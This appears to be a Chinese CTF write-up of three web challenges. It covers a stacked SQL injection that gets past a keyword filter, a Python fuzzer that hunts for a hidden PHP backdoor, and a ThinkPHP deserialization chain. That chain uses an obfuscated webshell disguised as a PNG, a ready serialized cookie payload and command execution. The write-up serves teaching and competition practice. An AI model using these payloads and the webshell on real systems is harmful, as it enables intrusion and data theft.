随便注

  • 堆叠注入

输入1' or '1有返回,输入'提示sql语法错误,输入select返回了过滤规则

1
preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
1';show databases;#
array(1) {
[0]=>
string(11) "ctftraining"
}
array(1) {
[0]=>
string(9) "supersqli"
}

1';use supersqli;show tables;#
array(1) {
[0]=>
string(16) "1919810931114514"
}
array(1) {
[0]=>
string(5) "words"
}

1';use supersqli;describe `1919810931114514`;#
array(6) {
[0]=>
string(4) "flag"
[1]=>
string(12) "varchar(100)"

1';use supersqli;SET @getflag = CONCAT('SELE','CT flag FROM `1919810931114514`');PREPARE pr2 FROM @getflag;EXECUTE pr2;#
array(1) {
[0]=>
string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"
}

高明的黑客

下载源码解压后发现…3306个文件

1
2
 ⚡ root@kali  /var/www/html/CTF/强网杯/Smart_hacker/src  ls | wc -l
3002

而且文件名和内容都离奇的很。。

image-20200228024821927 image-20200228024844017

image-20200228025341331

​ 难道这就是公司开发吗,i了i了~

打开一些文件看看,发现好多文件里面都有危险函数GET,POST,exec,eval,assert

image-20200228030016603

image-20200228030032075

涨姿势时间到:

看了大佬的writeup知道是fuzz…

提示了是黑客,然后结合上面的代码可以猜测这些文件里面有黑客上传的一句话木马。可以看到里面有GET,POST,exec,eval,assert…但我们不知道哪个是一句话马,所以直接脚本来一个一个的试。先找到脚本中的_GET _POST方法,提取出传入的关键字,然后给关键字赋值echo xxx看看页面会不会输出我们的内容,如果是,则这个就是后门。先在本地启动apache服务器(或者php -S localhost:8080 -t 目录),然后执行脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
import os
import threading
from concurrent.futures.thread import ThreadPoolExecutor

import requests

session = requests.Session()
url='http://127.0.0.1/CTF/%e5%bc%ba%e7%bd%91%e6%9d%af/Smart_hacker/src/'
path = "/var/www/html/CTF/强网杯/Smart_hacker/src/" # 文件夹目录
files = os.listdir(path) # 得到文件夹下的所有文件名称

mutex = threading.Lock()
pool = ThreadPoolExecutor(max_workers=50)


def read_file(file):
f = open(path + "/" + file); # 打开文件
iter_f = iter(f); # 创建迭代器
str = ""
for line in iter_f: # 遍历文件,一行行遍历,读取文本
str = str + line

# 获取一个页面内所有参数
start = 0
params = {}
while str.find("$_GET['", start) != -1: # 找不到时会返回-1。str.find(str, beg=0, end=len(string))
pos2 = str.find("']", str.find("$_GET['", start) + 1)
var = str[str.find("$_GET['", start) + 7: pos2] # 提取参数
start = pos2 + 1 # 从这个位置后面继续寻找

params[var] = 'echo("glzjin");' # 参数作为键值 并赋值

# print(var)

start = 0
data = {}
while str.find("$_POST['", start) != -1:
pos2 = str.find("']", str.find("$_POST['", start) + 1)
var = str[str.find("$_POST['", start) + 8: pos2]
start = pos2 + 1

data[var] = 'echo("glzjin");'

# print(var)

# eval test payload like: "echo("asdsa");"
r = session.post(url + file, data=data, params=params)
if r.text.find('glzjin') != -1:
mutex.acquire()
print(file + " found! method:{}".format("eval"))
mutex.release()

# assert test payload like "echo("asdsa")"
for i in params:
params[i] = params[i][:-1]

for i in data:
data[i] = data[i][:-1]

r = session.post(url + file, data=data, params=params)
if r.text.find('glzjin') != -1:
mutex.acquire()
print(file + " found! method:{}".format("assert"))
mutex.release()

# system test payload like "echo asdsa"
for i in params:
params[i] = 'echo glzjin'

for i in data:
data[i] = 'echo glzjin'

r = session.post(url + file, data=data, params=params)
if r.text.find('glzjin') != -1:
mutex.acquire()
print(file + " found! method:{}".format("system"))
mutex.release()

# print("====================")


for file in files: # 遍历文件夹
if not os.path.isdir(file): # 判断是否是文件夹,不是文件夹才打开
# read_file(file)

pool.submit(read_file, file)

image-20200228041053628

1
xk0SzyKwfzw.php 后门文件 执行方式是 system

去康康这个文件,四百多行,没有搜索到system,有可能是通过拼接生成的system

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$W96 = 'wiMI9l7q';
$xjGowjMeo = 'NPK';
$HeMPrLHRrEJ = 'dLEIN';
$Z_kn8Jvza = new stdClass();
$Z_kn8Jvza->uH = 'VIYdLFk';
$Z_kn8Jvza->mY = 'ftPRiyoe9';
$nGXvwmVD3SW = 'zAfhhrf';
$qJzeCC = array();
$qJzeCC[]= $W96;
...
...
?>

image-20200228044629925

看到是在这里拼接了system函数。参数为GET方式传入的Efa5BVG

http://05e04639-97d5-46f6-88ce-5992aa75eca9.node3.buuoj.cn/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

得到flag:flag{b4ab84c1-b1e7-4b95-bc39-7038df6958b1}

Upload

注册登录,扫面一下后台

1
2
3
4
5
Dir found: /robots.txt - 200
Dir found: /.htaccess - 200
Dir found: / - 200
Dir found: /upload%2F - 200
Dir found: /www.tar.gz - 200

下载www.tar.gz

流程分析

thinkphp5.1框架

image-20200317120911364

Register.php里面有一个析构函数,当没有注册的时候跳转到主页面

1
2
3
4
5
public function __destruct(){
if(!$this->registed){
$this->checker->index();
}
}

index.php会先进行身份验证login_check

1
2
3
4
5
6
7
8
9
public function index()
{
if($this->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/home";
$this->redirect($curr_url,302);
exit();
}
return $this->fetch("index");
}

login_check:

1
2
3
4
5
6
7
8
9
10
11
12
public function login_check(){
$profile=cookie('user');
if(!empty($profile)){
$this->profile=unserialize(base64_decode($profile));
$this->profile_db=db('user')->where("ID",intval($this->profile['ID']))->find();
if(array_diff($this->profile_db,$this->profile)==null){
return 1;
}else{
return 0;
}
}
}

login_check中对$this->profile进行了反序列化操作,并且没有任何安全性检查,所以这里应该是入口点,payload应该放在cookie中。

那么怎么利用呢? 审计代码没发现有什么函数比如file_get_contents()等,但是这个有上传文件功能,所以看看能不能上传木马。

找到上传文件主要函数:在Profileupload_img函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}

if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
  1. 这个函数先进行身份检查,
  2. 然后如果上传的文件不为空则将文件名$this-filename命名为md5($_FILES['upload_file']['name']).".png";
  3. 然后在经过后缀名检查 $this->ext_check();因为刚才后缀加了png所以这个检查肯定会通过
  4. 把临时文件复制改名为新文件名filename,然后删除临时文件

正常来说由于filename后面被强制加上了png后缀,所以不可能上传php木马,但是加png后缀这一步判断条件是 if(!empty($_FILES)),所以如果我们不上传文件的话也就绕过了这个强制加后缀的过程。

如果我们先上传一个图片马,然后将filename_tmp=图片马路径,filename=xxx.php,经过复制便可达到getshell,所以要想办法在不上传文件的情况下调用upload_img

所以现在主要目的就是利用反序列化构造类来进行调用。

payload链

分析

Register::__destruct()应该是入口函数

1
2
3
4
5
public function __destruct(){
if(!$this->registed){
$this->checker->index();
}
}

注意到Profile中还有两个魔术方法:

1
2
3
4
5
6
7
8
public function __get($name){
return $this->except[$name];
}
public function __call($name, $arguments){
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}

__call 和 _get 两个魔术方法,分别书写了在调用不可调用方法和不可调用成员变量时怎么做。_get 会直接从 except 里找,_call 会调用自身的 name 成员变量所指代的变量所指代的方法。

  1. 如果将Registerchecker赋值为Profile对象,则其析构函数中$this->checker->index();就变成了Profile->index();
  2. Profile中不存在index()方法,所以__call方法被自动调用,__call方法中的$name=index , $arguments为空, $this->{$this->{$name}}($arguments);变成了$this->index();
  3. Profile中不存在index()变量,所以__get()方法被自动调用,__get()方法中的$name=index,$this->except[$name];变成$this->except['index'];
  4. Profile是存在except变量的,如果令except['index']=upload_img,则__get方法返回upload_img,然后_call方法调用upload_img

最终poc

  • 先上传一个图片马(可以用蚁剑生成) cmd.png, 要加上png图片头格式绕过getimagesize

image-20200317231715961

1
2
3
4
�PNG

<?php // 使用时请删除此行, 连接密码: cmd ?>
<?php $PhFE=create_function(chr(714-678).chr(0351-0166).str_rot13('b').chr(0x193-0x126).chr(0146615/01011),chr(29391/291).chr(0154244/0726).chr(0121517/0657).base64_decode('bA==').chr(0x3a6-0x37e).str_rot13('$').chr(0xd3-0x60).chr(360-249).chr(0x3e8-0x37b).chr(0577-0432).base64_decode('KQ==').chr(0144107/01545));$PhFE(base64_decode('NDIxN'.'zgzO0'.'BldkF'.'sKCRf'.''.chr(582-497).chr(828-759).chr(0x349-0x310).base64_decode('VA==').str_rot13('I').''.''.base64_decode('Rg==').str_rot13('g').base64_decode('ag==').chr(0214374/01336).chr(046445/0343).''.'RdKTs'.'xMjY1'.'MzQ5O'.'w=='.''));?>

image-20200317233545779

  • 注意命名空间 app\web\controller(要不然反序列化会出错,不知道对象实例化的是哪个类)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
namespace app\web\controller;
class Register{
public $checker;
public $registed;
public function __construct()
{
//确保进入if
$this->registed = 0;
$this->checker = new Profile();
}
}
namespace app\web\controller;
class Profile{
public $filename_tmp;
public $filename;
public $ext;
public $except;
public function __construct()
{
$this->except=['index'=>'upload_img'];
$this->filename_tmp ="./upload/76d9f00467e5ee6abc3ca60892ef304e/45616bece453d246c7edf323262cb9ef.png";
$this->filename = "./upload/shell.php";
$this->ext="png";

}
}
echo base64_encode(serialize(new Register()));

1
TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo0OntzOjEyOiJmaWxlbmFtZV90bXAiO3M6Nzg6Ii4vdXBsb2FkLzc2ZDlmMDA0NjdlNWVlNmFiYzNjYTYwODkyZWYzMDRlLzQ1NjE2YmVjZTQ1M2QyNDZjN2VkZjMyMzI2MmNiOWVmLnBuZyI7czo4OiJmaWxlbmFtZSI7czoxODoiLi91cGxvYWQvc2hlbGwucGhwIjtzOjM6ImV4dCI7czozOiJwbmciO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MTA6InVwbG9hZF9pbWciO319czo4OiJyZWdpc3RlZCI7aTowO30=

作为cookie提交,然后蚁剑链接,这里就直接post参数手动找出flag就好了

image-20200317233817172

1
2
3
4
5
cmd=system("ls /");
�PNG  bin dev etc flag home lib media mnt opt proc root run sbin srv sys tmp usr var

cmd=system("cat /flag");
�PNG  flag{90f7f851-abec-455a-ac13-229f1cd3cef6}

https://www.kancloud.cn/manual/thinkphp5/118048

https://www.zhaoj.in/read-5873.html

https://blog.csdn.net/chasingin/article/details/104374416